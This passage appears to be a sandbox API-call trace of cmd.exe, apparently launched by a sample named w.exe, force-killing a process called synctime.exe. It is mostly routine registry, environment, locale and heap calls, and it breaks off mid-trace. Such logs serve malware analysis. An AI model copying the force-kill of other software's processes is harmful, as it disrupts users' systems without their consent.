	[0036.947] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8041b0 | out: lpMode=0x4a8041b0) returned 0
	[0036.948] GetEnvironmentStringsW () returned 0x182008*
	[0036.948] GetProcessHeap () returned 0x170000
	[0036.948] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xaca) returned 0x182ae0
	[0036.948] FreeEnvironmentStringsW (penv=0x182008) returned 1
	[0036.948] GetProcessHeap () returned 0x170000
	[0036.948] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4) returned 0x180c40
	[0036.948] GetEnvironmentStringsW () returned 0x182008*
	[0036.948] GetProcessHeap () returned 0x170000
	[0036.949] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xaca) returned 0x1835b8
	[0036.949] FreeEnvironmentStringsW (penv=0x182008) returned 1
	[0036.949] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3bee00 | out: phkResult=0x3bee00*=0x68) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x0, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x1, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x1, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x0, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x40, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x40, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x40, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.949] RegCloseKey (hKey=0x68) returned 0x0
	[0036.949] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3bee00 | out: phkResult=0x3bee00*=0x68) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x40, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x1, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.949] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x1, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.950] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x0, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.950] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x9, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.950] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x4, lpData=0x3bee0c*=0x9, lpcbData=0x3bee04*=0x4) returned 0x0
	[0036.950] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bee08, lpData=0x3bee0c, lpcbData=0x3bee04*=0x1000 | out: lpType=0x3bee08*=0x0, lpData=0x3bee0c*=0x9, lpcbData=0x3bee04*=0x1000) returned 0x2
	[0036.950] RegCloseKey (hKey=0x68) returned 0x0
	[0036.950] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302d
	[0036.950] srand (_Seed=0x5d16302d) 
	[0036.950] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im synctime.exe \""
	[0036.950] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im synctime.exe \""
	[0036.950] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a805260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.950] GetProcessHeap () returned 0x170000
	[0036.950] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x210) returned 0x182008
	[0036.950] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x182010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0036.950] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.950] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.950] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.950] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0036.951] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0036.951] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0036.951] GetProcessHeap () returned 0x170000
	[0036.951] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x182ae0 | out: hHeap=0x170000) returned 1
	[0036.951] GetEnvironmentStringsW () returned 0x182220*
	[0036.951] GetProcessHeap () returned 0x170000
	[0036.951] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xae2) returned 0x184b80
	[0036.951] FreeEnvironmentStringsW (penv=0x182220) returned 1
	[0036.951] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0036.951] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.951] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0036.951] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0036.951] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0036.951] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0036.951] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0036.951] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0036.951] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0036.951] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0036.951] GetProcessHeap () returned 0x170000
	[0036.951] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x54) returned 0x185670
	[0036.951] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3bfbcc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3bfbcc, lpFilePart=0x3bfbc8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bfbc8*="Desktop") returned 0x25
	[0036.952] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.952] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3bf948 | out: lpFindFileData=0x3bf948*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x181e88
	[0036.952] FindClose (in: hFindFile=0x181e88 | out: hFindFile=0x181e88) returned 1
	[0036.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3bf948 | out: lpFindFileData=0x3bf948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x181e88
	[0036.952] FindClose (in: hFindFile=0x181e88 | out: hFindFile=0x181e88) returned 1
	[0036.952] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0036.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3bf948 | out: lpFindFileData=0x3bf948*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x181e88
	[0036.952] FindClose (in: hFindFile=0x181e88 | out: hFindFile=0x181e88) returned 1
	[0036.952] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.953] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0036.953] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.953] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184b80 | out: hHeap=0x170000) returned 1
	[0036.953] GetEnvironmentStringsW () returned 0x184090*
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.953] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb36) returned 0x185ed0
	[0036.953] FreeEnvironmentStringsW (penv=0x184090) returned 1
	[0036.953] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a805260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.953] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185670 | out: hHeap=0x170000) returned 1
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.953] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400e) returned 0x186a10
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.953] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4c) returned 0x182d60
	[0036.953] GetProcessHeap () returned 0x170000
	[0036.954] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x18aa28
	[0036.954] GetProcessHeap () returned 0x170000
	[0036.954] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x18ea38
	[0036.955] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0036.956] GetProcessHeap () returned 0x170000
	[0036.956] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x418) returned 0x182db8
	[0036.956] SetErrorMode (uMode=0x0) returned 0x8003
	[0036.956] SetErrorMode (uMode=0x1) returned 0x0
	[0036.956] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x182dc0, lpFilePart=0x3bfb44 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3bfb44*="f") returned 0x31
	[0036.956] SetErrorMode (uMode=0x8003) returned 0x1
	[0036.956] GetProcessHeap () returned 0x170000
	[0036.956] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x182db8, Size=0x8e) returned 0x182db8
	[0036.956] GetProcessHeap () returned 0x170000
	[0036.956] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x182db8) returned 0x8e
	[0036.956] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0036.956] GetProcessHeap () returned 0x170000
	[0036.956] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x72) returned 0x192a60
	[0036.956] GetProcessHeap () returned 0x170000
	[0036.956] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xd8) returned 0x182e50
	[0036.957] GetProcessHeap () returned 0x170000
	[0036.957] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x182e50, Size=0x72) returned 0x182e50
	[0036.957] GetProcessHeap () returned 0x170000
	[0036.957] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x182e50) returned 0x72
	[0036.957] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.957] GetProcessHeap () returned 0x170000
	[0036.957] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe0) returned 0x182ed0
	[0036.960] GetProcessHeap () returned 0x170000
	[0036.960] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x182ed0, Size=0x76) returned 0x182ed0
	[0036.960] GetProcessHeap () returned 0x170000
	[0036.960] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x182ed0) returned 0x76
	[0036.960] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.960] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im synctime.exe ", fInfoLevelId=0x1, lpFindFileData=0x3bf8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf8e0) returned 0xffffffff
	[0036.960] GetLastError () returned 0x3
	[0036.961] GetProcessHeap () returned 0x170000
	[0036.961] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18aa28 | out: hHeap=0x170000) returned 1
	[0036.961] GetProcessHeap () returned 0x170000
	[0036.961] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ea38 | out: hHeap=0x170000) returned 1
	[0036.961] GetProcessHeap () returned 0x170000
	[0036.961] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186a10 | out: hHeap=0x170000) returned 1
	[0036.961] GetConsoleOutputCP () returned 0x1b5
	[0036.961] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a804260 | out: lpCPInfo=0x4a804260) returned 1
	[0036.961] GetUserDefaultLCID () returned 0x409
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a804950, cchData=8 | out: lpLCData=":") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3bfd0c, cchData=128 | out: lpLCData="0") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3bfd0c, cchData=128 | out: lpLCData="0") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3bfd0c, cchData=128 | out: lpLCData="1") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a804940, cchData=8 | out: lpLCData="/") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a804d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a804d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a804d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a804cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a804c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a804c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a804c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a804930, cchData=8 | out: lpLCData=".") returned 2
	[0036.962] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a804920, cchData=8 | out: lpLCData=",") returned 2
	[0036.962] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0036.963] GetProcessHeap () returned 0x170000
	[0036.963] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20c) returned 0x182f50
	[0036.964] GetConsoleTitleW (in: lpConsoleTitle=0x182f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.964] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0036.964] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0036.964] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0036.964] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0036.964] GetProcessHeap () returned 0x170000
	[0036.964] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x186a10
	[0036.964] GetProcessHeap () returned 0x170000
	[0036.964] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186a10 | out: hHeap=0x170000) returned 1
	[0036.965] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0036.965] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0036.965] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0036.965] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0036.965] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0036.965] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0036.965] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0036.965] GetProcessHeap () returned 0x170000
	[0036.965] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x58) returned 0x183168
	[0036.965] GetProcessHeap () returned 0x170000
	[0036.965] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1a) returned 0x185710
	[0036.966] GetProcessHeap () returned 0x170000
	[0036.966] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x34) returned 0x1831c8
	[0036.966] GetConsoleTitleW (in: lpConsoleTitle=0x3bfa04, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.967] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0036.967] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0036.967] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0036.967] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0036.967] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0036.967] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0036.967] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0036.967] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0036.967] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0036.967] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0036.967] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0036.967] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0036.967] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0036.967] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0036.967] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0036.967] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0036.967] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0036.967] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0036.968] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0036.968] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0036.968] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0036.968] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0036.968] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0036.968] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0036.968] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0036.968] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0036.968] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0036.968] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0036.968] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0036.968] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0036.968] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0036.968] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0036.968] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0036.968] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0036.968] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0036.968] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0036.968] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0036.968] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0036.968] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0036.968] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0036.968] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0036.969] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0036.969] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0036.969] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0036.969] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0036.969] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0036.969] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0036.969] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0036.969] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0036.969] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0036.969] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0036.969] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0036.969] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0036.969] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0036.969] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0036.969] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0036.969] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0036.969] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0036.969] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0036.969] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0036.969] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0036.969] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0036.969] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0036.969] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0036.969] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0036.969] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0036.969] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0036.969] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0036.969] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0036.969] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0036.969] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0036.969] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0036.969] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0036.969] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0036.969] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0036.969] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0036.970] GetProcessHeap () returned 0x170000
	[0036.970] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x210) returned 0x183208
	[0036.970] GetProcessHeap () returned 0x170000
